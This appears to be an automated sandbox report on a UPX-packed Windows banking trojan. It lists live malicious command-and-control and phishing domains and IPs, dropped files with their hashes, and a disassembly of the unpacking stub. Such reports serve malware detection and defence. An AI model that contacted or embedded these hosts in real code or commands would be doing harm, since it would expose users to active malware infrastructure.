http://lousta.net/&X	100%	Avira URL Cloud	phishing
http://lousta.net/347/423.html	100%	Avira URL Cloud	phishing
http://lousta.net/895/196.html_	100%	Avira URL Cloud	phishing
http://lousta.net/303/619.htmlEc	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/179/569.html	100%	Avira URL Cloud	phishing
http://lousta.net/467/386.html	100%	Avira URL Cloud	phishing
http://lousta.net/161/343.htmle	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/http://mkkuei4kdsz.com/http://lousta.net/http://lousta.net/begun.ruIueiOodcon	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/100/325.html7	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/968/405.html;	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/179/569.htmloZ	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/59/409.html(&Z&	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/968/405.htmlasuek.com5	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/en-GB	100%	Avira URL Cloud	phishing
http://lousta.net/161/343.htmlT	100%	Avira URL Cloud	phishing
http://lousta.net/601/938.htmlshqos.dll.mui	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/88/221.html	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/968/405.htmlN	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
lousta.net	193.166.255.171	true	true	unknown
mkkuei4kdsz.com	64.225.91.73	true	true	unknown
ow5dirasuek.com	52.34.198.229	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://mkkuei4kdsz.com/	true	Avira URL Cloud: phishing	unknown
http://lousta.net/161/343.html	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/968/405.html	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/100/325.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/895/196.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/601/938.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/976/76.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/303/619.html	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/130/71.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/59/409.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/347/423.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/467/386.html	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/179/569.html	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/88/221.html	true	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://nojs.domaincntrol.com	omsecor.exe, 00000001.00000002.1986796301.0000000000194000.00000004.00000010.00020000.00000000.sdmp, omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000005.00000002.2879755700.0000000000194000.00000004.00000010.00020000.00000000.sdmp, omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mkkuei4kdsz.com/130/71.htmlcrosoft	omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/179/569.htmlQZ	omsecor.exe, 00000001.00000002.1987110192.000000000063B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/100/325.html)L	omsecor.exe, 00000001.00000002.1987110192.0000000000628000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/179/569.html;	omsecor.exe, 00000001.00000002.1986796301.0000000000194000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://lousta.net/161/343.htmll	omsecor.exe, 00000008.00000002.2986475132.00000000005E1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://lousta.net/895/196.html#	omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/y	omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/179/569.html3	omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/968/405.htmlp	omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/130/71.htmlr&&	omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://domaincntrol.com/?orighost=	omsecor.exe, 00000001.00000002.1986796301.0000000000194000.00000004.00000010.00020000.00000000.sdmp, omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000005.00000002.2879755700.0000000000194000.00000004.00000010.00020000.00000000.sdmp, omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lousta.net/347/423.htmlt?E&	omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/968/405.htmlz	omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/179/569.htmleZ	omsecor.exe, 00000001.00000002.1987110192.000000000063B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/179/569.htmliZ#	omsecor.exe, 00000001.00000002.1987110192.000000000063B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/968/405.htmlP&	omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/968/405.html$	omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/968/405.html(	omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://lousta.net/303/619.html=	omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/968/405.html&	omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://lousta.net/467/386.htmlQ=	omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/161/343.html=	omsecor.exe, 00000008.00000002.2986475132.00000000005E1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/59/409.htmlk7	omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/179/569.htmli	omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/976/76.htmlmswsock.dll.mui	omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/347/423.html(	omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/88/221.htmlV	omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/179/569.htmlGU	omsecor.exe, 00000001.00000002.1987110192.000000000063B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/&X	omsecor.exe, 00000008.00000002.2986475132.000000000059E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/895/196.html_	omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/161/343.htmle	omsecor.exe, 00000008.00000002.2986475132.00000000005E1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://lousta.net/303/619.htmlEc	omsecor.exe, 00000001.00000002.1987110192.000000000060E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/100/325.html7	omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/http://mkkuei4kdsz.com/http://lousta.net/http://lousta.net/begun.ruIueiOodcon	cnzWgjUhS2.exe, 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, omsecor.exe, 00000001.00000002.1986846567.0000000000401000.00000040.00000001.01000000.00000004.sdmp, omsecor.exe, 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, omsecor.exe, 00000008.00000002.2986278876.0000000000401000.00000040.00000001.01000000.00000007.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/968/405.html;	omsecor.exe, 00000005.00000002.2879755700.0000000000194000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/179/569.htmloZ	omsecor.exe, 00000001.00000002.1987110192.000000000063B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/59/409.html(&Z&	omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/601/938.htmlshqos.dll.mui	omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/161/343.htmlT	omsecor.exe, 00000008.00000002.2986475132.000000000059A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/en-GB	omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/968/405.htmlasuek.com5	omsecor.exe, 00000005.00000002.2879968541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/968/405.htmlN	omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
64.225.91.73	mkkuei4kdsz.com	United States	14061	DIGITALOCEAN-ASNUS	true
193.166.255.171	lousta.net	Finland	1741	FUNETASFI	true
52.34.198.229	ow5dirasuek.com	United States	16509	AMAZON-02US	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1506967
Start date and time:	2024-09-08 06:08:39 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	cnzWgjUhS2.exe renamed because original name is a hash value
Original Sample Name:	Trojan.Danger.ATA_virussign.com_10b089f41384787f77a9de73a9c55e4b.exe
Detection:	MAL
Classification:	mal100.bank.troj.evad.winEXE@7/3@3/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 97% Number of executed functions: 23 Number of non-executed functions: 111
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: cnzWgjUhS2.exe

Simulations

Behavior and APIs

Time	Type	Description
00:09:37	API Interceptor	12x Sleep call for process: omsecor.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
64.225.91.73	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	mkkuei4kdsz.com/67/735.html
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	mkkuei4kdsz.com/767/569.html
	uB31aJH4M0.exe	Get hash	malicious	Simda Stealer	Browse	qetyhyg.com/login.php
	qIIGdGOTWO.exe	Get hash	malicious	Neconyd	Browse	mkkuei4kdsz.com/210/474.html
	O0prB0zCWi.exe	Get hash	malicious	Neconyd	Browse	mkkuei4kdsz.com/238/776.html
	djvu452.exe	Get hash	malicious	Neconyd	Browse	mkkuei4kdsz.com/350/859.html
	gdvfd35.exe	Get hash	malicious	Neconyd	Browse	mkkuei4kdsz.com/982/120.html
	v48ge.exe	Get hash	malicious	Neconyd	Browse	mkkuei4kdsz.com/87/595.html
	moviename.exe	Get hash	malicious	Neconyd	Browse	mkkuei4kdsz.com/478/570.html
	voltage.exe	Get hash	malicious	Neconyd	Browse	mkkuei4kdsz.com/553/840.html
193.166.255.171	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	lousta.net/372/625.html
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	lousta.net/766/881.html
	qIIGdGOTWO.exe	Get hash	malicious	Neconyd	Browse	lousta.net/240/311.html
	O0prB0zCWi.exe	Get hash	malicious	Neconyd	Browse	lousta.net/461/572.html
	djvu452.exe	Get hash	malicious	Neconyd	Browse	lousta.net/775/668.html
	v48ge.exe	Get hash	malicious	Neconyd	Browse	lousta.net/803/179.html
	moviename.exe	Get hash	malicious	Neconyd	Browse	lousta.net/559/617.html
	voltage.exe	Get hash	malicious	Neconyd	Browse	lousta.net/4/805.html
	btr.exe	Get hash	malicious	Neconyd	Browse	lousta.net/935/40.html
	P81JnbTtck.exe	Get hash	malicious	Neconyd	Browse	lousta.net/113/923.html
52.34.198.229	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	ow5dirasuek.com/944/938.html
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	ow5dirasuek.com/643/773.html
	RfdNuhaVvG.exe	Get hash	malicious	Sakula RAT	Browse	www.savmpet.com/photo/bcyybe-1288432018.jpg?resid=5281296
	uB31aJH4M0.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	qIIGdGOTWO.exe	Get hash	malicious	Neconyd	Browse	ow5dirasuek.com/342/85.html
	O0prB0zCWi.exe	Get hash	malicious	Neconyd	Browse	ow5dirasuek.com/115/979.html
	djvu452.exe	Get hash	malicious	Neconyd	Browse	ow5dirasuek.com/534/373.html
	gdvfd35.exe	Get hash	malicious	Neconyd	Browse	ow5dirasuek.com/307/439.html
	v48ge.exe	Get hash	malicious	Neconyd	Browse	ow5dirasuek.com/413/412.html
	moviename.exe	Get hash	malicious	Neconyd	Browse	ow5dirasuek.com/815/970.html

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ow5dirasuek.com	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	qIIGdGOTWO.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	O0prB0zCWi.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	djvu452.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	gdvfd35.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	v48ge.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	moviename.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	voltage.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	btr.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
lousta.net	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	qIIGdGOTWO.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	O0prB0zCWi.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	djvu452.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	v48ge.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	moviename.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	voltage.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	btr.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	P81JnbTtck.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
mkkuei4kdsz.com	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	qIIGdGOTWO.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	O0prB0zCWi.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	djvu452.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	gdvfd35.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	v48ge.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	moviename.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	voltage.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	btr.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FUNETASFI	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	qIIGdGOTWO.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	O0prB0zCWi.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	157.24.67.224
	i686.elf	Get hash	malicious	Unknown	Browse	157.24.20.211
	djvu452.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	firmware.mipsel.elf	Get hash	malicious	Unknown	Browse	157.24.67.223
	v48ge.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	SecuriteInfo.com.Linux.Siggen.9999.28377.24731.elf	Get hash	malicious	Mirai	Browse	192.98.92.242
DIGITALOCEAN-ASNUS	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	SecuriteInfo.com.ELF.Mirai-ARL.4787.647.elf	Get hash	malicious	Mirai	Browse	178.128.160.165
	https://cl.gy/BnDLj	Get hash	malicious	Unknown	Browse	188.166.17.21
	uB31aJH4M0.exe	Get hash	malicious	Simda Stealer	Browse	64.225.91.73
	qIIGdGOTWO.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	O0prB0zCWi.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	https://vigilantesecurity.ca/index.shtml	Get hash	malicious	Unknown	Browse	159.65.211.77
	https://domainsecurityreports.ca/index.shtml	Get hash	malicious	Unknown	Browse	159.65.211.77
	https://domainsecurityreports.ca/index.shtml	Get hash	malicious	Unknown	Browse	159.65.211.77
AMAZON-02US	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	SecuriteInfo.com.Adware.DownwareNET.4.3128.32406.exe	Get hash	malicious	Unknown	Browse	18.239.38.162
	SecuriteInfo.com.Adware.DownwareNET.4.3128.32406.exe	Get hash	malicious	Unknown	Browse	18.239.38.166
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	https://amazon-104169.weeblysite.com/	Get hash	malicious	Unknown	Browse	54.201.194.161
	https://amazon-103674.weeblysite.com/	Get hash	malicious	Unknown	Browse	54.201.194.161
	https://amazon-103974.weeblysite.com/	Get hash	malicious	Unknown	Browse	54.69.50.186
	https://conecctwvallete.gitbook.io/	Get hash	malicious	Unknown	Browse	18.239.36.120
	https://amazon-103093.weeblysite.com/	Get hash	malicious	Unknown	Browse	54.201.194.161
	https://conecctwvallete.gitbook.io/us	Get hash	malicious	Unknown	Browse	108.138.7.90

Process:	C:\Users\user\Desktop\cnzWgjUhS2.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	36600
Entropy (8bit):	7.811358055923133
Encrypted:	false
SSDEEP:	768:U6vjVmakOElpmAsUA7DJHrhto2OsgwAPTUrpiEe7HpB:j8Z0kA7FHlO2OwOTUtKjpB
MD5:	BA4DF80E161C9C58860725AAC02D99E4
SHA1:	CC5247AFD1FAA023B04FA163769FCED8A4FACC67
SHA-256:	6F0DB674782A337AAC17C77772BC71E2C1D992E87EBB6174A7732F2A28F7BB2D
SHA-512:	6B02356AB380850E358B3A22DEAA9B2F842EFE426236CB4BBBAB50CD05151B46C79889618B8E00B8019678890B0A5C694C92B7A017C370644A93AF007CD6CD86
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>...m...m...m.m.m...m.m.m...m^..m...m^..m...m...m.m.m.m...m.m.m...mRich...m................PE..L.....P......................... ..`....0........@.....................................................................................................................................................H...........................................UPX0..... ..............................UPX1.........0......................@...UPX2................................@..............................................................................................................................................................................................................................................................................................................................................................................................................4.22.UPX!....

C:\Windows\SysWOW64\merocz.xc6

Download File

Process:	C:\Windows\SysWOW64\omsecor.exe
File Type:	data
Category:	dropped
Size (bytes):	100
Entropy (8bit):	1.8626376367274078
Encrypted:	false
SSDEEP:	3:gtqyuCbFtdkdmdf8fd9:gwDvdmdf83
MD5:	B45EBCFDAB51CE8D00E87D3018E77ADC
SHA1:	0C57AF7B6BF68E96EE0FD9B20A29280BB3E0C81F
SHA-256:	9B94ED408D47A530A9B337933258C2B872C94734919BF03732DF4D809D3DD2B1
SHA-512:	98882CDEFD148443EDA5FABC7B88EAB941FB0D16D5BCE74DEEC105B381EC16A1A65709449AB186D40C408914B704CC61EB4C3A2998B672B19F420A9B89109046
Malicious:	false
Reputation:	low
Preview:	-x.x.x.x.x.x6x.x.xxxIxKxKxOxHxJxLxJxJxHxHxAxOxMxIxOxOxIxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

C:\Windows\SysWOW64\omsecor.exe

Download File

Process:	C:\Users\user\AppData\Roaming\omsecor.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	36600
Entropy (8bit):	7.811365297306151
Encrypted:	false
SSDEEP:	768:W6vjVmakOElpmAsUA7DJHrhto2OsgwAPTUrpiEe7HpB:t8Z0kA7FHlO2OwOTUtKjpB
MD5:	9AF480E9873460DD811C495A948A78AE
SHA1:	52F194026A2EC41FCA1738E6911EEA5298712635
SHA-256:	CC43372B26504DB80D8A12CF0F906672972F0D3DC9B3959351D31DCA562231B5
SHA-512:	B05662E32B6075188278B21388F98C1661ECBD19012E363984F5B92B01E0F32B983C0E30E1A8CA74D14039913C99F0615BCBA51F8F71E9E2A8DCDEAA3A1ABF59
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>...m...m...m.m.m...m.m.m...m^..m...m^..m...m...m.m.m.m...m.m.m...mRich...m................PE..L...~.P......................... ..`....0........@.....................................................................................................................................................H...........................................UPX0..... ..............................UPX1.........0......................@...UPX2................................@..............................................................................................................................................................................................................................................................................................................................................................................................................4.22.UPX!....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	7.811340093455825
TrID:	Win32 Executable (generic) a (10002005/4) 99.66% UPX compressed Win32 Executable (30571/9) 0.30% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	cnzWgjUhS2.exe
File size:	36'600 bytes
MD5:	10b089f41384787f77a9de73a9c55e4b
SHA1:	b5cd02bedf0c963c95b17937f334b4eb950a22ed
SHA256:	ce28f0ea14877935233268bb240e0aa2013eb133a179fee671144939539fdc7a
SHA512:	22767b0b9a9ca2bddc6fbcb06f1d50293a425cb7cb701b797b4612824928dbf85ee808d9fdccd7ab489dd87c3693c310f917b8565d21c0b8067cfb32a233b9cd
SSDEEP:	768:k6vjVmakOElpmAsUA7DJHrhto2OsgwAPTUrpiEe7HpB:z8Z0kA7FHlO2OwOTUtKjpB
TLSH:	95F2F19F18015ECACB95593027A29B0D2F6E7D905B1DB3C21A9E307C74D35EAF670B08
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>...m...m...m.m.m...m.m.m...m^..m...m^..m...m...m...m.m.m...m.m.m...mRich...m................PE..L......P...................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x42b560
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x50B2D8C7 [Mon Nov 26 02:49:43 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	ca90886d8faeb004fd43054d3e6673d8

Entrypoint Preview

Instruction
pushad
mov esi, 00423000h
lea edi, dword ptr [esi-00022000h]
push edi
jmp 00007FEF38EDD95Dh
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007FEF38EDD959h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FEF38EDD93Fh
mov eax, 00000001h
add ebx, ebx
jne 00007FEF38EDD959h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007FEF38EDD941h
jne 00007FEF38EDD95Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007FEF38EDD936h
xor ecx, ecx
sub eax, 03h
jc 00007FEF38EDD95Fh
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007FEF38EDD9C6h
mov ebp, eax
add ebx, ebx
jne 00007FEF38EDD959h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 00007FEF38EDD959h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jne 00007FEF38EDD972h
inc ecx
add ebx, ebx
jne 00007FEF38EDD959h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007FEF38EDD941h
jne 00007FEF38EDD95Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007FEF38EDD936h
add ecx, 02h
cmp ebp, FFFFF300h
adc ecx, 01h
lea edx, dword ptr [edi+ebp]
cmp ebp, FFFFFFFCh
jbe 00007FEF38EDD961h
mov al, byte ptr [edx]
inc edx
mov byte ptr [edi], al
inc edi
dec ecx
jne 00007FEF38EDD949h
jmp 00007FEF38EDD8B8h
nop
mov eax, dword ptr [edx]
add edx, 04h
mov dword ptr [edi], eax
add edi, 04h
sub ecx, 04h
jnbe 00007FEF38EDD943h
add edi, ecx
jmp 00007FEF38EED8A1h

Rich Headers

Programming Language:

[ASM] VS2005 build 50727
[ C ] VS2005 build 50727
[LNK] VS2005 build 50727

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c000	0x1f0	UPX2
